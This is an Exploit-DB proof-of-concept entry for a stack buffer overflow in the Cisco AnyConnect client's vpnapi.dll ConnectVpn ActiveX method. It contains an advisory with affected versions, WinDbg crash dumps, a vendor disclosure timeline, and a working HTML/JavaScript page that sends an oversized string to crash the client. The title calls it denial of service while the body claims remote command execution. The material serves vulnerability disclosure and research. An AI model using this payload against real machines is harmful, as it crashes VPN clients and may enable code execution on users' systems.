Cisco AnyConnect Secure Mobility 2.x/3.x/4.x – Client Denial of Service (PoC)

  • 作者： LiquidWorm
    日期： 2015-06-15
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37287/
  • <!--

Cisco AnyConnect Secure Mobility Client Remote Command Execution


Vendor:Cisco Systems, Inc.
Product web page: http://www.cisco.com
Affected version: 2.x
3.0
3.0.0A90
3.1.0472
3.1.05187
3.1.06073
3.1.06078
3.1.06079
3.1.07021
3.1.08009
4.0.00013
4.0.00048
4.0.00051
4.0.02052
4.0.00057
4.0.00061
4.1.00028

Fixed in: 3.1.09005
4.0.04006
4.1.02004
4.1.02011

Summary: Cisco AnyConnect Secure Mobility Solution empowers your
employees to work from anywhere, on corporate laptops as well as
personal mobile devices, regardless of physical location. It provides
the security necessary to help keep your organization’s data safe
and protected.

Desc: The AnyConnect Secure Mobility Client VPN API suffers from
a stack buffer overflow vulnerability when parsing large amount of
bytes to the 'strHostNameOrAddress' parameter in 'ConnectVpn' function
which resides in the vpnapi.dll library, resulting in memory corruption
and overflow of the stack. An attacker can gain access to the system
of the affected node and execute arbitrary code.

==========================================================================

(f48.10cc): Unknown exception - code 000006ba (first chance)
(f48.10cc): C++ EH exception - code e06d7363 (first chance)
(f48.10cc): C++ EH exception - code e06d7363 (first chance)
(f48.10cc): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll - 
eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022
eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc
cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210206
vpnapi!ConnectIfcData::setConfigCookie+0x9195:
748b6227 8500testdword ptr [eax],eaxds:002b:00232000=00000000
0:000> g
(f48.10cc): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022
eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc
cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210206
vpnapi!ConnectIfcData::setConfigCookie+0x9195:
748b6227 8500testdword ptr [eax],eaxds:002b:00232000=00000000
0:000> d edi
088f002241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f003241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f004241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f005241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f006241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f007241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f008241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f009241 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
0:000> d edx
088f002441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f003441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f004441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f005441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f006441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f007441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f008441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
088f009441 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.

<12308000 B

----

>512150-512154 B

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Windows\syswow64\RPCRT4.dll - 
eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738
eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc
cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210206
RPCRT4!UuidCreate+0x835:
75440fc4 56pushesi
0:000> g
(1a50.1e40): Stack overflow - code c00000fd (!!! second chance !!!)
eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738
eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc
cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210206
RPCRT4!UuidCreate+0x835:
75440fc4 56pushesi
0:000> d eax
004d238446 75 6e 63 74 69 6f 6e-3a 20 43 6c 69 65 6e 74Function: Client
004d239449 66 63 42 61 73 65 3a-3a 67 65 74 43 6f 6e 6eIfcBase::getConn
004d23a465 63 74 4d 67 72 0a 46-69 6c 65 3a 20 2e 5c 43ectMgr.File: .\C
004d23b46c 69 65 6e 74 49 66 63-42 61 73 65 2e 63 70 70lientIfcBase.cpp
004d23c40a 4c 69 6e 65 3a 20 32-35 38 30 0a 43 61 6c 6c.Line: 2580.Call
004d23d420 74 6f 20 67 65 74 43-6f 6e 6e 65 63 74 4d 67 to getConnectMg
004d23e472 20 77 68 65 6e 20 6e-6f 74 20 63 6f 6e 6e 65r when not conne
004d23f463 74 65 64 20 74 6f 20-41 67 65 6e 74 2e 00 00cted to Agent...
0:000> d
004d240400 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................
004d241400 00 00 00 41 41 41 41-41 41 41 41 41 41 41 41....AAAAAAAAAAAA
004d242441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
004d243441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
004d244441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
004d245441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
004d246441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
004d247441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0:000> d esp+1500
0019450000 00 00 00 f8 e6 28 00-ec 3c 85 74 04 00 00 00......(..<.t....
00194510ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00................
0019452041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0019453041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0019454041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0019455041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0019456041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
0019457041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

==========================================================================


Tested on: Microsoft Windows 7 Professional SP1 (EN)
 Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Vendor status:

[25.03.2015] Vulnerability discovered.
[28.03.2015] Vendor contacted.
[29.03.2015] Vendor responds asking more details.
[13.04.2015] Sent details to the vendor.
[15.04.2015] Asked vendor for status update.
[15.04.2015] Vendor opens case #PSIRT-0089839229, informing that as soon as incident manager takes ownership of the case they will be in contact.
[22.04.2015] Asked vendor for status update.
[28.04.2015] No reply from the vendor.
[04.05.2015] Asked vendor for status update.
[05.05.2015] Vendor assigns case PSIRT-0089839229, defect CSCuu18805 under investigation.
[12.05.2015] Asked vendor for confirmation.
[13.05.2015] Vendor resolved the issue, not sure for the release date.
[14.05.2015] Asked vendor for approximate scheduled release date.
[15.05.2015] Vendor informs that the defect is public (CSCuu18805).
[19.05.2015] Asked vendor for release information.
[19.05.2015] Vendor informs releases expected to be on June 7th for 3.1 MR9 and May 31st for 4.1 MR2.
[11.06.2015] Vendor releases version 4.1.02011 and 3.1.09005 to address this issue.
[13.06.2015] Public security advisory released.


Advisory ID: ZSL-2015-5246
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5246.php
Vendor: https://tools.cisco.com/bugsearch/bug/CSCuu18805


25.03.2015

-->


<!DOCTYPE html>
<html>
<head>
<title>Cisco AnyConnect Secure Mobility Client VPN API Stack Overflow</title>
</head>
<body>
<button onclick="O_o()">Launch</button>
<object id="cisco" classid="clsid:{C15C0F4F-DDFB-4591-AD53-C9A71C9C15C0}"></object>
<script language="JavaScript">

function O_o() {
//targetFile = "C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll"
//prototype= "Sub ConnectVpn ( ByVal strHostNameOrAddress As String )"
//memberName = "ConnectVpn"
//progid = "VpnApiLib.VpnApi"

var netv = Array(255712).join("ZS");
var push = //~~~~~~~~~~~~~~~~~~~~~~~~//

 /*(()()())*/
 "ZSZSZSZSZSZSZ"+
"SZSZSZSZSZSZSZS"+
"ZSZSZSZSZSZSZSZSZSZS"+
"ZSZSZSZSZSZSZSZSZSZSZSZS"+
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"SZSZS"+"ZSZSZ"+"SZSZS"+
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"SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+
"ZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZ"+
"SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+
"ZSZSZSZ"+"SZSZSZSZSZSZ"+"SZSZ"+
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"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS"+"ZSZ"+
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS"+"ZSZ"+
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"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
 "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
 "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
 "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
 "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+"ZSZ"+
"SZ"+"SZ"+"SZ"+"SZ"+"SZ"+"SZ"+
"SZ"+"SZ"+"SZ"+"SZ"+"SZ"+"SZ"+
 "S"+"Z"+"S"+"Z"+ "S"+"Z"+
"S"+"Z"+"S"+"Z"+ "S"+"S"+
 "S"+"Z"+"S"+"Z"+ "S"+"S";


var godeep = netv.concat(push);
cisco.ConnectVpn godeep
}

</script>
</body>
</html>